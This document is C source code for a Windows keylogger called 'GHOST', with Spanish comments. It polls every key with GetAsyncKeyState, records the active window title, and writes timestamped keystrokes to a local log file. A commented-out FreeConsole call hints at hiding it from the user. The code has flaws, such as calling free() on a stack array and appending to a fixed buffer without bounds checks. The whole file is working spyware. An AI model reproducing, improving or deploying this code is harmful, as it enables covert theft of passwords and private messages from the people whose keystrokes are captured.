Code:
#include <stdio.h> //Estandar Entrada Salida
#include <stdlib.h> //Gestión de memoria dinámica/busquedas y ordenamientos.
#include <windows.h> //Desarrollo de aplicaciónes en windows
#include <time.h> //Toma tiempo real y fecha de los eventos
#define GHOST -2147483647 //Testear cambio de limites
int main()
{
//Freeconsole(); Warning do not activate.
FILE *log; //Crear archivo en formato log
time_t tiempo; //Guarda la fecha de acción
HWND ventana;
int tecla=0; //codigo ASCII
int cont=0; //Contador
char Laventana[500]=""; //Inicializo sin carga los vectores
char teclas[10240]=""; //a partir de mas de 20k es inestable
char simbolos[256][15]= {"","","[CliC-I]","[CliC-D]","","[CliC-C]","","","[Retroceder]","[TAB]","",
"","","[ENTER]","","","[SHIFT]","[CONTROL]","[ALT]","","[Mayusculas]",
"","","","","","","[Esc]","","","",
""," ","[Re-Pag]","[Av-Pag]","","[Inicio]","[Izquierda]","[Arriba]","[Derecha]","[Abajo]",
"","","","[PrtSc]","[Insert]","[Supr]","","0","1","2",
"3","4","5","6","7","8","9","","","",
"","","","","a","b","c","d","e","f",
"g","h","i","j","k","l","m","n","o","p",
"q","r","s","t","u","v","w","x","y","z",
"[WIN-I]","[WIN-D]","[D-WIN]","","","0","1","2","3",
"4","5","6","7","8","9","*","+"," ","-",".",
"/","[F1]","[F2]","[F3]","[F4]","[F5]","[F6]","[F7]","[F8]","[F9]",
"[F10]","[F11]","[F12]"," "," "," "," "," "," "," ",
" "," "," "," "," "," "," "," "," "," "," ",
" "," ","[Bloq Num]"," "," "," "," "," "," ",
" "," "," "," "," "," "," "," "," ","[Shift-I]",
"[Shift-D]"," "," "," "," "," "," "," "," "," ",
" "," "," "," "," "," "," "," "," "," ",
" "," "," "," "," "," "," ",",","-",".",
" "," "," "," "," "," "," "," "," ",
" "," "," "," "," "," "," "," "," "," "," ",
" "," "," "," "," "," "," "," ","'","\\",
"¡","´" };
log=fopen("log.log","a");
fprintf(log,"GHOST esta funcionando");
fclose(log);
ventana=GetForegroundWindow();
while(1) {
if((GetForegroundWindow()!=ventana) || (cont==850)){
if(strlen(Laventana)>0 && strlen(teclas)>0) {
time(&tiempo);
ctime(&tiempo);
log=fopen("log.log","a");
fprintf(log,"\n\n[*] Fecha: %s",ctime(&tiempo));
fprintf(log,"[*] Ventana: %s ",Laventana);
fprintf(log,"\n[*] Texto: %s",teclas);
fprintf(log,"\n ");
fprintf(log,"\n/******************************/\n");
fclose(log);
free(teclas);
strcpy(teclas,"");
cont = 0;
}
ventana=GetForegroundWindow();
}
else {
GetWindowText(ventana,Laventana,500);
}
for(tecla=4;tecla<256;tecla++) {
if (GetAsyncKeyState(tecla)==GHOST) {
strcat(teclas,simbolos[tecla]);
printf(" %s \n" ,simbolos[tecla]);
cont++;
}
}
}
}